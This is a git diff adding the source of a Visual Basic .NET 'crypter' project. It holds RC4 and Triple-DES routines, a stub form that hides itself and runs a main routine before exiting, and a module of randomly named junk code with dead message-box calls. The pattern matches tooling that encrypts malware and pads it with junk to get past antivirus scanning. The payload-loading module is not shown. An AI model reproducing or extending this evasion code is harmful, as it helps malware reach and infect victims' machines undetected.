ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.flAmingCrypter.My.MySettings + Get + Return Global.flAmingCrypter.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (MyCrypterzzz/MyCrypter/My Project/Settings.settings b/scode (MyCrypterzzz/MyCrypter/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (MyCrypterzzz/MyCrypter/MyCrypter.vbproj b/scode (MyCrypterzzz/MyCrypter/MyCrypter.vbproj new file mode 100644 index 0000000..69de800 --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/MyCrypter.vbproj @@ -0,0 +1,133 @@ + + + + Debug + AnyCPU + 9.0.30729 + 2.0 + {91A1671A-D9C2-4B09-9784-1D7D5CAD1056} + WinExe + flAmingCrypter.My.MyApplication + flAmingCrypter + flAming Crypter + 512 + WindowsForms + v2.0 + On + Binary + Off + On + DM-Empty.ico + + + + + 3.5 + + + true + full + true + true + bin\Debug\ + flAming Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + pdbonly + false + true + true + bin\Release\ + flAming Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + + + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + Form2.vb + + + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + Form1.vb + Designer + + + Form2.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + \ No newline at end of file diff --git a/scode (MyCrypterzzz/MyCrypter/Solar-System-Moon-3D-screensaver.jpg b/scode (MyCrypterzzz/MyCrypter/Solar-System-Moon-3D-screensaver.jpg new file mode 100644 index 0000000..010325c Binary files /dev/null and b/scode (MyCrypterzzz/MyCrypter/Solar-System-Moon-3D-screensaver.jpg differ diff --git a/scode (MyCrypterzzz/MyCrypter/rc4.vb b/scode (MyCrypterzzz/MyCrypter/rc4.vb new file mode 100644 index 0000000..81a9262 --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/rc4.vb @@ -0,0 +1,53 @@ +Imports System.Text + +Public Class rc4 + Public Shared Function rc4(ByVal message As String, ByVal password As String) As String + Dim i As Integer = 0 + Dim j As Integer = 0 + Dim cipher As New StringBuilder + Dim returnCipher As String = String.Empty + Dim sbox As Integer() = New Integer(256) {} + Dim key As Integer() = New Integer(256) {} + Dim intLength As Integer = password.Length + Dim a As Integer = 0 + While a <= 255 + Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0)) + + key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp) + sbox(a) = a + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + Dim x As Integer = 0 + Dim b As Integer = 0 + While b <= 255 + x = (x + sbox(b) + key(b)) Mod 256 + Dim tempSwap As Integer = sbox(b) + sbox(b) = sbox(x) + sbox(x) = tempSwap + System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1) + End While + + a = 1 + + While a <= message.Length + Dim itmp As Integer = 0 + i = (i + 1) Mod 256 + j = (j + sbox(i)) Mod 256 + itmp = sbox(i) + sbox(i) = sbox(j) + sbox(j) = itmp + Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256) + Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0) + itmp = Asc(ctmp) + Dim cipherby As Integer = itmp Xor k + cipher.Append(Chr(cipherby)) + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + + returnCipher = cipher.ToString + cipher.Length = 0 + + Return returnCipher + + End Function +End Class diff --git a/scode (MyCrypterzzz/winini/3des.vb b/scode (MyCrypterzzz/winini/3des.vb new file mode 100644 index 0000000..b30d5f2 --- /dev/null +++ b/scode (MyCrypterzzz/winini/3des.vb @@ -0,0 +1,26 @@ +Imports System.Text +Imports System.Security.Cryptography + +Public Class _3des + Public Shared Function a(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String + Dim ReplacedkeyArray As Byte() + Dim ReplacedtoEncryptArray As Byte() = Convert.FromBase64String(b) + + If d Then + Dim Replacedhashmd5 = New MD5CryptoServiceProvider() + ReplacedkeyArray = Replacedhashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c)) + Else + ReplacedkeyArray = UTF8Encoding.UTF8.GetBytes(c) + End If + + Dim Replacedtdes = New TripleDESCryptoServiceProvider() + Replacedtdes.Key = ReplacedkeyArray + Replacedtdes.Mode = CipherMode.ECB + Replacedtdes.Padding = PaddingMode.PKCS7 + + Dim ReplacedcTransform As ICryptoTransform = Replacedtdes.CreateDecryptor() + Dim ReplacedresultArray As Byte() = ReplacedcTransform.TransformFinalBlock(ReplacedtoEncryptArray, 0, ReplacedtoEncryptArray.Length) + + Return UTF8Encoding.UTF8.GetString(ReplacedresultArray) + End Function +End Class diff --git a/scode (MyCrypterzzz/winini/4cr.vb b/scode (MyCrypterzzz/winini/4cr.vb new file mode 100644 index 0000000..aafa07f --- /dev/null +++ b/scode (MyCrypterzzz/winini/4cr.vb @@ -0,0 +1,54 @@ +Imports System.Text + +Public Class _4cr + Public Shared Function enc(ByVal message As String, ByVal mykey As String) As String + Dim i As Integer = 0 + Dim j As Integer = 0 + Dim cipher As New StringBuilder + Dim returnCipher As String = String.Empty + Dim sbox As Integer() = New Integer(256) {} + Dim key As Integer() = New Integer(256) {} + Dim intLength As Integer = mykey.Length + Dim a As Integer = 0 + While a <= 255 + Dim ctmp As Char = (mykey.Substring((a Mod intLength), 1).ToCharArray()(0)) + + key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp) + sbox(a) = a + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + Dim x As Integer = 0 + Dim b As Integer = 0 + While b <= 255 + x = (x + sbox(b) + key(b)) Mod 256 + Dim tempSwap As Integer = sbox(b) + sbox(b) = sbox(x) + sbox(x) = tempSwap + System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1) + End While + + a = 1 + + While a <= message.Length + Dim itmp As Integer = 0 + i = (i + 1) Mod 256 + j = (j + sbox(i)) Mod 256 + itmp = sbox(i) + sbox(i) = sbox(j) + sbox(j) = itmp + Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256) + Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0) + itmp = Asc(ctmp) + Dim cipherby As Integer = itmp Xor k + cipher.Append(Chr(cipherby)) + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + + returnCipher = cipher.ToString + cipher.Length = 0 + + Return returnCipher + + End Function +End Class + diff --git a/scode (MyCrypterzzz/winini/Form1.Designer.vb b/scode (MyCrypterzzz/winini/Form1.Designer.vb new file mode 100644 index 0000000..603be7b --- /dev/null +++ b/scode (MyCrypterzzz/winini/Form1.Designer.vb @@ -0,0 +1,39 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.SuspendLayout() + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(27, 12) + Me.ForeColor = System.Drawing.Color.Transparent + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Name = "Form1" + Me.Text = "Form1" + Me.ResumeLayout(False) + + End Sub +End Class diff --git a/scode (MyCrypterzzz/winini/Form1.resx b/scode (MyCrypterzzz/winini/Form1.resx new file mode 100644 index 0000000..ff31a6d --- /dev/null +++ b/scode (MyCrypterzzz/winini/Form1.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (MyCrypterzzz/winini/Form1.vb b/scode (MyCrypterzzz/winini/Form1.vb new file mode 100644 index 0000000..d3ea088 --- /dev/null +++ b/scode (MyCrypterzzz/winini/Form1.vb @@ -0,0 +1,8 @@ +Public Class Form1 + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + Visible = False + ShowInTaskbar = False + Mymod.Main() + Environment.Exit(0) + End Sub +End Class \ No newline at end of file diff --git a/scode (MyCrypterzzz/winini/MxYSyPEqBCHrXbnCiMM.vb b/scode (MyCrypterzzz/winini/MxYSyPEqBCHrXbnCiMM.vb new file mode 100644 index 0000000..8b60714 --- /dev/null +++ b/scode (MyCrypterzzz/winini/MxYSyPEqBCHrXbnCiMM.vb @@ -0,0 +1,136 @@ +Module MxYSyPEqBCHrXbnCiMM + Public Sub LSLypEGjjdTBcYXolFWYBLFbrIeYFKEWBKBxdbVxaKNBeM(ByVal gLWnCtzineaZbxjUqSyPwiQnSOCBOVHeZdgeTQOzRTiXOmMwa As String) + Dim gbvUPvoCmbNivSJIBYjOvLRldX As String = "aYOalaUmgVFbqWczQeXbIorgRJFitlLPOyQlHKTbDlPdmXH" + Dim XxbpZczzXWQQlymJ As Integer = 4946922 + 717920 + 717920 + 1087138 + Dim TPqNHNPykmilOqOffFpDXHNMXoggMBUvhDjMYXMZFmGwmFMIlbQK As Integer = 6879251 + 918769 + 258966 + 258966 + Dim TaWVLmsIJeWTCmtTHQpBMEdihImPhnWDFPIxVnulcLJHcisWDGfyS As Integer = 8811579 + 1119618 + 459815 + 459815 + msgbox("xsziUHdxobDnehVWknhkcUVazkpmVTKZbBUmdtNIZqkSfguHZdiOuDOSKoRrArzesTWTTObvgMpshxkOMkxPKEPwXDZQmIWyZDkemQIpgUzTtvtghKVBgAuCSeJXnuwYDGFhoadeFPIJXCpyQEymRSYYeUPaLcurNecrjUIEmzLedstDxUblYiXzpZopOiktmZwWfZSCKaEr") + msgbox("TRVAgkJSvFNPhZnJGsTXRYIViFhHKgzksahrhbhzJQWVcRHLhseJFfDlqtQyQniNpgaizwBykMHnJYjrHStqlSCFpbaxituvppYUvwwjQFQxcjLlDwMYYxlelghVqqqlbBYQbBmulwsNoaHiBeeXawbxMJehwIsZhTTjBnuTbnjyBZt") + msgbox("LRgNZSLnXQypitztMybCekRwQaHDabgPEMSheTNNDDBnSHGgYwnEPzJFeUUdJystUDfmnUfEyIOWGXTQEwDGPiJFfOvcgSbWCEaEWIvNEurTSfTzBOgjzZzyPWrdNXOzyeNLYsqQcuEYSpjINdPpMLlbIQHYDndDryjuFDpcVfHtaOV") + Dim XJVlGgzZdUipyYpePcfMPySFliQvHKwceLgFXNoKxmkgPCBFkgPgZZ As Integer = 813476 + Dim efTqmssvxyZTtdlqWcMLaktKCpkhOkVXMsBkdykvXywjyMwXcCMimKiz As Integer = 753618 + Dim GJwEuQScfKyDEpOPMDcUUceEHyaBVKzRfabWMzMJgLgFwOmEVxfCyGtL As Integer = 606360 + msgbox("WCjbCAcuYdpjowCGDXfUhnrWcNtySrUvImvusuBHhMGZncRngPaQvspuMAGiqiKhdkeIMPHlFPgGexenSsbKbJOzMEinUXRehrzYlhjNugcloaeoPCvLAHEUeToUeggSXDVyrSXXCGIWsgFYZnxauJznPqmlwdrgANHsGpJvekoVSmwZwvvNkinmVOrvxkmCTSWMFVk") + Dim fhitRqKRyCSfQzyigtJmbrSMLaWvkrVRcHGgpYLQzJXlinLLxsQBYjvK As Integer = 7602295 + 993924 + 993924 + 334120 + Dim ukKSmAACbMnlBVY As Integer = 4806635 + 703338 + 534970 + 534970 + Dim CKcrsRqPCPYAEvonHylxNESY As String = "cppbSszPDtfgvCJzpmOOUzljQzlBbucDyzLSWxcBlWSGBuDBfkTEeWTkKZmUH" + Dim msLhlioOGjMfQuZbrorhLjFGNUoxPtjUvbcgpPMqtXqInOLaPLxvcKDl As Integer = 703541 + Dim RhZiJxRBiD As Integer = 8671292 + 1105037 + 1105037 + 445234 + Dim QbTXcihgHkVHXTqnPAfiGHhXNf As String = "qwhyYjPSWizkXiFSsnIPvKPjZVDaySScSEpbhgJkbKV" + Dim OuIahlIPMLBrU As Integer = 4255792 + 646083 + 646083 + 1015301 + Dim GCrRwsEnSjXRuXOpxMPlPAmSqYddVJFINtUJjjiYovijpGazdtQeupA As Integer = 800723 + Dim XtlNBaxVScDclSFVYQtTCRpweSCXbSpJgWrfEJTpGTKUbssUogUfDOCB As Integer = 653464 + Dim ycobjrXAwYToLJqCvsrHTXUqjoojOjWypIzXPLXefVnEwIfcpwRWKuQMv As Integer = 9740290 + 556347 + 556347 + 556347 + Dim oqNygbnutBluabRxtx As Integer = 5324789 + 757196 + 757196 + 588827 + Dim wWnbSGnwNOxftpaywSqIGiXsb As String = "BUUdLnpFeybDVWWnXPELBugtcPsHIPZfrXtISdieyPzPzBoTn" + Dim DVJwLjXFDPUJPcIfFEsqmbkCHTOMvEKYcetPqnehdYtndhBZrgBsxvak As Integer = 750646 + End Sub + + + + Public Function QXwBfxfpGIwJHsxHfkylLJpfhtCBBtqqqWbglBJixZeWsVIqczlXzthMOUOKFycedvuJIRTsCODWcOlmzgzgMnOxDKWJQmJFPoSzlZbvwIrNRuDZFYyIIXtIQhW(ByVal sBZOoVFWoUVuSDag As String) As String + On Error GoTo WEXWmrScOuZaSqYkpoAtEpaBBFaZTvlPyRDivgGuGeqWDPHJsFZFVmxBDpvm + Dim DBuKzJrTimimVPrrQInkLSoMBjhPMSHaebBoNVEpwScuaQnDliDULzw As Integer = 9189446 + 1158894 + 499091 + 499091 + Dim YVJqEuzsiNxHfQTLbNggLsDniJTKaSAEkfDpRjHxsQogVKqnYuPsoPSB As Integer = 672161 + Dim lmtZUiXBQbGQneEVsaztIgnbiGePpjMZvRbOvXDQGGQnVquUgBzKJaJz As Integer = 524903 + msgbox("fJzelnoAQXPlbCHdGKGiQovnhJlgfwqcRVgjcPgueVBpmdrovAvXQreNhnLVUJKyUUKOiGegaREBpIqbeMWVxKeBCWjbTGnFaZmQnOroUgQAsyWhURdkvuqTymbqJpUNqKfcZpNhUqGbedVZqnEqyIeeKHzaLBlYFMoZknZjWuRhQHGBMWSSXcvDRxtyWcnijAoXAOgVzDMkwDCIGxOHTuhdkRMNXshbaTQoiPkCCTtMYCmht") + Dim fCrCvMLUoOXyYJkOxZFocfRdGUhuggvZbBujoCszgdTXVsiLO As Integer = 6706274 + 900790 + 900790 + 240987 + Dim rtgIpAKhCcBDOgoOZfNgPtfeqZZsW As Integer = 3910614 + 610205 + 441836 + 441836 + Dim ZLhluqggtBpxhnlBzMBFzmNhFY As String = "OZjkybYlBTKGRJoWSThmAAIKmeSGrFqxxNkDBehYSKIEOVtFDvDlqwPSM" + msgbox("GrgoJAVkqFSancTZsUorTSgWbTTuKQqyCuIDgqYCETOXnCYgPXVYufXIoRSOAAWHbWXRRHMeDnHqnoCZrYXJVErUmSWiEHwsgUonqUYwpHMmPIwlaRHGYKfpZRtKyGGoTiVaeyyoQXsVufuySzoYfSaBKxBIUpcpIhmKOZogdMxEakwTPiSRxSkUqyRLPkrwoneKmqepVkcVPHLgJDxLTubfGKNjPgPqVAKEnnrqvaRTSaGdNUmDvGkAvxDoTdXzkoUmDLn") + Dim LBUJcwRiYUTUvRIaWaiHSdPGyJPrDdTIjHfwIXdZUYnWNxJodKOPuxDz As Integer = 7775271 + 1011903 + 1011903 + 352100 + Dim qnlZRqxmwInFnJYuxMdwAjhpTCfGJgEMWNKGQOYajqENBRLAVRuHvYqnIi As Integer = 9707600 + 1212752 + 552949 + 552949 + Dim YtGtSHrcPpnSSUqsviSXvfzWZh As String = "rITgPcozqUGartaLRiSIOrGPpmMjrUOpxuaMWLagdOFgOHkawediTnjbRTfoxq" + Dim kzLVeWlcYMItnlwOklknDWSoPJEsfqmVgBenGDEdoFPflOILggEoJZG As Integer = 572008 + msgbox("qzpcKOvaiDKsMtYPYeRxzuBMMCJSalymJQeCORmBKJjCnxQcVqZuqSpbfPRHRYtXrCQsgvOgoWxGvURaUJbavOWXOviiQDezOgqjMurWvNpllEpTwDKXQcLKoOxbYSUZDXsHIKigIBzaLyPevPSBFWugqUrOdFluKuWmETAJQHXvLVtEeuFsTlTwdxXmUA") + Dim jUxCewlsFteVSmhjYodwotSeEZJSLwimsuQakJKkjpzmfGBrxZvcv As Integer = 8844269 + 463213 + 463213 + 294844 + Dim spiHxUTnxFUXx As Integer = 4428768 + 664062 + 664062 + 495694 + Dim XnoqmNVjxZZcSUiiTbopgvbPNs As String = "IqItUBGdBjVCozrtMBoJDcVrnvSOywfmDOrgCsnBZltrxzUidFYUpWgkfwa" + Dim lKMJwxKrdZXriGEfdEWIzqxVSfCvhfmzNfZnBJRnqrfXUOTgrHqHZ As Integer = 669190 + Dim MuPWeXEtMtsjkzIAHjWYNBXUhkRTDdZzRgwuGIAyLCDyAYeKHqddamoUhq As Integer = 9913266 + 1065761 + 1065761 + 405958 + Dim zxJJTjoSIXIPSNzPxnp As Integer = 5497765 + 775176 + 775176 + 606807 + Dim TrtoagIGBfwzGTybUHdIVnvg As String = "QSONJJgAvUEckIlGsRbzhxxFRzgweVNhuTsZdrLYmLdIkadwXXYMdGhVOiKSnRzuo" +WEXWmrScOuZaSqYkpoAtEpaBBFaZTvlPyRDivgGuGeqWDPHJsFZFVmxBDpvm: + msgbox("DznriVHzjOCbJLEpJDNRbUWfjTVKfmQoKKPLKRBHsUvYIudQTLqErnhbsuvAvaBAFeHvuDXyCmhjHLDFHhoGsgsGOHDUCZXUxLfxgqTMIMLhUWJPAHgZIlEsDQekpbylVBmqKjuOToIJoYazDlnZxGhurOtOhPnHsbmUshXVaowZLyYxBxfgFkkgYkcjohalByYK") + If 5810253 > 807656 Then + Dim QtSCbjxdTJgTrZqhehMwVYPamc As String = "qXmkIiidmXsccNHsOHRuXAqTXyRuCzDiHnyegrVXiEvaEMNJJurGbbLZOywUgBhlWVUINmLWa" + Dim mcmBaLxwYdhwWDHimstWpoGuzj As String = "pqADhjYqPLYEvSVZLHHRpMlNVccqtCjhrAXiGRJfFKUoWyCDyRJMCjjUsmVpHZZuNPuYNNRRU" + Dim IOqNopPsOmNtfLmwNFnCgCygf As String = "dXZhFvzoDGWcnUvXJzjgZqIeiMPPZMIRlroYdlIYTGjAgxh" + End If + Dim VRdSJDYdDHOOlvzPWsLibOHbGG As String = "eDCClUQuXdtNfoYufOnyqagqCivDPOMtoOHhKGcmLRQgRDJ" + Dim KUwVSNYgXyenptPekTWWgTVqjqVESjfbRCneuaFSKuWXEyOvyoiaFvtN As Integer = 217704 + Dim uDNmcDfrCUPyNCgPgQETHjZtjESQbRcJBsHKmehAhJOwedmJZzVnfWA As Integer = 540628 + Dim nWMBBKcbXVlofUgmyoKIedJRtb As String = "eBaEDzmTbselEhHihxeYDVDalTmIEiEmlrbpcaMiLCLGrWhbxSSBjlsDNILIjBawiWSRt" + msgbox("FkYuDCtdcSrGnQXGgZCQVMdirtIfFCweXUFqqTNPpZABtgngsjpycciSnFigYlmmOvbfIEmzSthqdSxlarwoZgjcXLkPGmmbaavqcyyjHptOSjXaMfNiNONqbVHYufyaUxTpeVEdtHUSfsmHxxYLFbpQzlxxFkJHdBTOLDWpoQIUyGtGSRQqTOrdbxkexaoPIwXjGkpVZcipdjPChQErHUPFsvzbQfBQZqYIpgCeNPFUysgbpcx") + If 6879251 > 918769 Then + Dim oaCKkpQMQscbhdjhltVvcyfIa As String = "nzYEyRiFVqBrDbGFpxQVYcBEReKpjOHNnzYGrwWNiuSIFWbiyEDrMPRUqLkFgQ" + Dim DtuEWaBjpLoDytbtlZRjmQbWqN As String = "JgmrtoObMjqZvKmSffWtdSZygQWzSFWJanW" + Dim QZrVNmFmDzXgtZVbBmurJRNWZQ As String = "YefYNEnRAJjHGYJmHHMepphfTVxSNioVnUGA" + End If + msgbox("aPZjXDfLSzFMBBEJkosBzfVbLzSnlKtteLJFjqCoyYJCZIelyUCFtvLkueLoifTvglLGItlwyzwtnFeLBgMtTwahlPafCpnwOoBkUTnMqQaWEEkelJjLTjwVMHiGhgaxAeQnhkEMFyhnOZMqmSDJOBWNokLlLKdWDusetEuCzRTDqXdGxRPEvQGcsiqemRAafBMFJVDihcPtHzVZgqQkQtuBdpZSXnxOzThmMvnvEkeEuXyNcKrfFCxXFm") + If 8811579 > 459815 Then + Dim FladuXQdvdiaOyDlhGJCBMTFDi As String = "gWLRsWSqEycDoDQuGoHsNeTSMRSEVBpSCzgxJEBxrT" + Dim hDxyTVcecLTWJxZWTuRRpgTkVp As String = "qBUPiloutXqWedxtzRvRtMwVXSKtYPcccFVXibAJEgsc" + Dim kcJhNsYVRjCgKzmFPLgwdYBYwj As String = "WXGZNgxPMmhSvNkkgNeaCiYsNXKlkMhFkLIZzFRgncEUgirDGvEkSEHuqoK" + End If + msgbox("JFvneRKKwRIjcVUvcngfXRQcmMXtukjgcLoeJELUjCEpdMMSEXjGoaJrRCJJZVzTQtDDoEmPaqExnrDKjItYwdjWOGURnStfvNTkKvCFwCwoGEFfuRPuTFZDtrmVhXtpZGYXVxYHVxmwikMRrNktmIMjPrYadFmtLAfgHjbQGeMB") + If 4396078 > 660664 Then + Dim ePMiLwsSnqyDocnANXQmDKjyjm As String = "imcJbTFSjGXoLNCHwxpogSWbdIKqRRhxlvsoHRqUtCQdRZqwyhVPmymZlckmrwj" + Dim yrEjClbEFypWrejwNyxzehJqt As String = "xyMbYdOIgOqdZlmbpZfaLSqoAUgqpejxgbmOTZflLhPaefboGIWXGTaVzmntJnNA" + Dim AifCCaWgWRNbryFxpdDEhKqOQ As String = "mecuBPwZRUsOcMDdFgBeesgLgDKzCtsJOCwRwpmApukgrVXllXZWUNsIxd" + End If + End Function + + + Public Sub dgFdmykJzJVOGhgGZIXdaMDbeaBbFeE(ByVal YoXQwdkqrsEJeXxpLQMabIhqXNHLjZtBgnyOaZywlYPSdyzxB As String) + Dim WhXhPEKSajCNqwwmHuWZYbDKngEVXlWkyWtyatcMKccVTNA As Integer = 7602295 + 993924 + 334120 + 334120 + Dim csbFOxYmKCwVUHygvSNQYuKwTHmgmFznw As Integer = 4806635 + 534970 + 534970 + 534970 + Dim ZhlRjzHwXNuMGnGeNGCHshlapBLScJrbFUoRLltxsipOsyNxutidmWvM As Integer = 703541 + Dim bHGLZxwVPaZIvObIqIYxxdBIywCCgLfObyNuDNmhiOhVGohEXIlXlXqe As Integer = 126466 + Dim XSOHSHjoBhzqVNwmdMwIPYTlFhJZZkiSOVctVOVLtjGasPpQQioSb As Integer = 8671292 + 1105037 + 445234 + 445234 + Dim EVsWVzlNxizpbgXmxtQbhoqcRn As String = "mcxHcsCFFBMkJdezetYKkblCVnJYEOOUvNExd" + Dim vCxIyiAdIFtfXNbfvoaKlvkIbZGhDL As Integer = 4255792 + 646083 + 1015301 + 1015301 + Dim ewnqaZMJMEWzAYSIqQTnQFNaKXgefTcrzKawBSXDyjMnHpMtiuOBaenI As Integer = 653464 + Dim UrpGziqyBwxxNDSietqpsSlQvfEIozCzPkZQnRrovSojETNndEqLtPC As Integer = 976389 + Dim UfBnziUHaPMclgeyVxjgmRnDKpJzSmTeIrtwwSzrnVWwUFxsUwDrlYLUP As Integer = 3392460 + 556347 + 556347 + 387978 + Dim thgLYZUIHNsnjBpXNVWUFJbHAIinWTrfWRv As Integer = 5324789 + 757196 + 588827 + 588827 + Dim yGRdZUVCMnhkgucMZEtmlYqxFa As String = "BGyldqJVjPdClaFHaIbGFANMCclqkmrhwHnpvJyXSqXKtONVeLNBEBKVaRvhvwsx" + Dim ITCcPJNNLYdDpsJIFbhhPQXupKqBtqqkHYiBmIQySGPqoOntdPrdgJk As Integer = 173571 + Dim zIhgFSmZOrawDQ As Integer = 9189446 + 1158894 + 1158894 + 499091 + Dim KGLpEGXdeRtVHqSXsZKfbOjsqZ As String = "qMYWFGoyWbnigWrVkWXvZaDpqtPTdOLUVVGDVeSZGlUKpeSwzHdoKUXbJlGO" + Dim HSBNNqTIraOisATxkmgDtmOXCdwPQcxdjJHxstfNPurvUcMvEigpbOKB As Integer = 672161 + msgbox("tkDdkEafkxZLWMXIbeoMMoacMUEgdsjLwbWwOOFWXDEkOzVipWLyrdSIkQtLnOZCZhxHvduabssNcKyuGVkkoMBlJFhcwQhmzaPPwIJUnfUWqDNPBHEuQUNrPMecPFrbWpgnKKVgHEwplQieeKnVEGCeqaTPluNxLPdejxonFFHVHLSOKRUQyk") + msgbox("qgDsKFvhATNWWxTuqnJuttWlxILepYsNVxkDHegDFDTarrWeKVzNXCJgkWkMduXvzeidWNDcMsXzPpZcwKgTBYWPVHHNcyQDRKyOTMnaKUaoEACLqoFItPkHrwdbzsyFLWiFLkMSoSenahiAhqaaPkbenYCyJmwYWwnxOqCZnTktpqrPJyqQdqXyUdYVmlcmTPkqmkPuGuPkHaLtFaxqzqNTJxyCvmwVQPGfnLMJDMXECbKSyms") + Dim qgVQugmWaRQqLmmymfLgsPKkspSXEvsqnqhFBrSsRXG As Integer = 6706274 + 900790 + 240987 + 240987 + Dim POFnGGzKrzbUziVJcXtinyBNBTbtE As Integer = 3910614 + 441836 + 441836 + 441836 + msgbox("zYIBJWqkcXeHPMWKXxvGtVhqTXKTLcJssnaNoqBrscTdhYyxKnUCAQiIKiwoNwDrPTxoqalHvHXYANtITJVqMRKbYsMsQxKVeeQOeAsalYGvBFsHNzprzhXJIgNnlUsWeakisxrEOqDKwKIUIRcLsvEypsHPXGxVtrFKvmcploWUSzkHqlVbLvntOrDBvvFWSslVJI") + msgbox("UtENSRAqrjqImRRRboLLbFeWPtMqQaalgjwtJRLWVzWcEKXsRQlUBfFpPTJkZdiMBbFHzBrjZWIKeTukUTvkQyOYluPPmgEMOIJxWEcrCioXadbIrZLxDLAklxAVlkjzZGdEHcPKMKjFZpObsIBwvVLnVGkpFrRorviRpXxCMfOwKFDDdxoUbcqxzupNcDyuYEuXCrWhKUylOaoDIUrGdjjcfqjdkWZfcIhNcmiQNFIMVDQpozgwjrmrVWoZLwoKMjQZwIbP") + Dim wVqoPqYevEWZxroxVIwmlwcoEiJsRoYKrzydSplHUbLllij As Integer = 7775271 + 1011903 + 352100 + 352100 + Dim DxZkMIzFdkAPdRUawRRDWkxVGaDruaTCImRKelppFYqKqorfZUVvkfXxN As Integer = 9707600 + 552949 + 552949 + 552949 + Dim nUXaxOzmzKOrBNkyfmyQUTUOCxNPTxdkbkyoibBKnRfmiSdBYHppDtQ As Integer = 719266 + Dim jLdQiBFyzOsWolWSPdwDtvsaBObVsWWoiYHdvGJhPUWAHQcLDFoGuTxn As Integer = 572008 + msgbox("MdGdrXqoeLarQfxzewtjRTjNuGZvxFUvCkAMwJJviCdwORiGYmqqPssmeEHLVxicBederbrlqkNxBkdOZQTLOvZePobuORaJwGJRWHsSZpgBgFnjjIPPbrvpIlHkwRmrCfNbTaBvWGNVgjVkqJsjEqtktTxVDzgyuHgwSEIdFGSLjyJpySbasxXwIXsNxDLnvEofCnmwiazxcNpgXDzQnFLvYkbzUmOUdTFxBsRcljZRiALRaOMDIEpjmTHJ") + Dim CrqELhrENfrgLMhQCMYdULrsgelPEuxeiGnxWZqbpUMwkfFFGkyTvn As Integer = 2496439 + 463213 + 463213 + 294844 + Dim nSXvwbrGUHVbGVYxHfPXwiIECkcQyV As Integer = 4428768 + 664062 + 495694 + 495694 + Dim BHvxmoudTgMtzxpwmGMxowUIa As String = "siajqVpYdvKjyyamGehgqksXNEybxWzklupbzoTSDGqxsUaidsVJblrJySU" + Dim IuKBnfyOZEeXMVKGzGYSWkMjkQVbVjBkvSpPnIdkdrSzyFWYtniYIMa As Integer = 992114 + Dim ZnxZvPIhSXVDvdyxqaaSjvZBFfnYSQXOYeInTDRjettTpUBHDFdlxuJJCZC As Integer = 8293425 + 1065761 + 1065761 + 405958 + Dim hwHzvxpEgNBygojmWMsozopdvUyHGHuNZMTl As Integer = 5497765 + 775176 + 606807 + 606807 + Dim ITDUuwWaOpuFkNlQMNDVnekyBL As String = "QKJesMRdqtLpccohtXpinGwDXakNhCBdNoYPkruCaZwLSEytVJIDncsenhYZN" + Dim mxMqGqjZSeQHErlCrBzAzrHEWpglSiNVwRWhJvrLQJLmELWTZMsvpqs As Integer = 619113 + 